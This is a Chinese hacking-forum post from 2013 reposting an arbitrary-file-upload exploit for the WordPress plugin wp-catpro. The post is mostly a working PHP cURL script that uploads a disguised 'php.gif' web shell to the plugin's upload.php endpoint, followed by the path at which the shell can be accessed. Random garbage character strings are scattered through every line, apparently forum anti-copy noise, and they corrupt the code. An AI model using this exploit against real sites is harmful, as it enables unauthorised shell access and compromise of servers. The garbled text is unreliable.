找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2128|回复: 0
打印 上一主题 下一主题

WordPress插件wp-catpro任意文件上传

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-27 20:12:43 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability: q8 m. l3 s# j% F6 W5 P" V5 M
#-----------------------------------------------------------------------& B* ^; H6 R$ z- ~  G2 @
: J* p" L8 H  [8 q& K% ~
作者  => Zikou-16+ `( {# a  {' ^: R7 Y; h2 u
邮箱 => zikou16x@gmail.com
( M* Q$ @+ t; K+ Y  R6 I, P" a; n测试系统 : Windows 7 , Backtrack 5r3
  C8 |9 v2 |( h# v下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip' a: Z' s" J- p( p+ E- c7 k
####
' p2 x% d' I+ M0 v) ?
& M" h  h1 q* v#=> Exploit 信息:
! A' O4 F# k( B7 k# B' a. z------------------! `" h( ]5 M8 D$ X0 p7 Y
# 攻击者可以上传 file/shell.php.gif
* y3 f! T2 a2 M3 ]# y7 e# ("jpg", "gif", "png")  // Allowed file extensions8 d" u8 M) |. {% a; V8 I' n
# "/uploads/";  // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
5 C+ X; K4 _8 m9 l# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)! R% l' d+ o1 R) q" j, ^
------------------* g0 j/ A. X$ n$ b, j& T4 B+ [
; d9 E$ q5 F: T- B
#=> Exploit
1 B( U# R" ~: v4 b+ L4 {1 m3 _-----------
) B3 w: n" t4 ^$ v+ I5 Q<?php6 f8 D: @# n( m- N

7 h* J- l9 c1 x$uploadfile="zik.php.gif";
5 s! m" x% }. Z$ l" U' u" h$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");
2 F7 R* R: {9 U, x, b2 rcurl_setopt($ch, CURLOPT_POST, true);
5 P/ L0 B9 z$ ^. `- f$ l8 @0 Ccurl_setopt($ch, CURLOPT_POSTFIELDS,
& r2 B5 X. L0 i$ B% Z6 |array('Filedata'=>"@$uploadfile",6 v$ J$ O5 L6 _. H0 r
'folder'=>'/wp-content/uploads/catpro/'));! J8 D. o$ w& a% I
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
6 M  W; ~; y7 x$ @, P) x$postResult = curl_exec($ch);
& L* Z5 c" x! e. E8 Q3 d" c. Tcurl_close($ch);0 o9 A& Z; t  |" S$ H
6 x) y2 {! c+ K* h/ K, }; v2 m
print "$postResult";
3 [* a0 f1 z/ U5 U& w 7 v: @6 ?' W- h+ m
Shell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif& R: L4 @, Z# `
  ?>
! a" K$ M! Z( B- K% e; Q* G<?php
  V( y! m) Q6 e/ u$ ~9 qphpinfo();& U  y( `. E4 B- H# W
?>
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表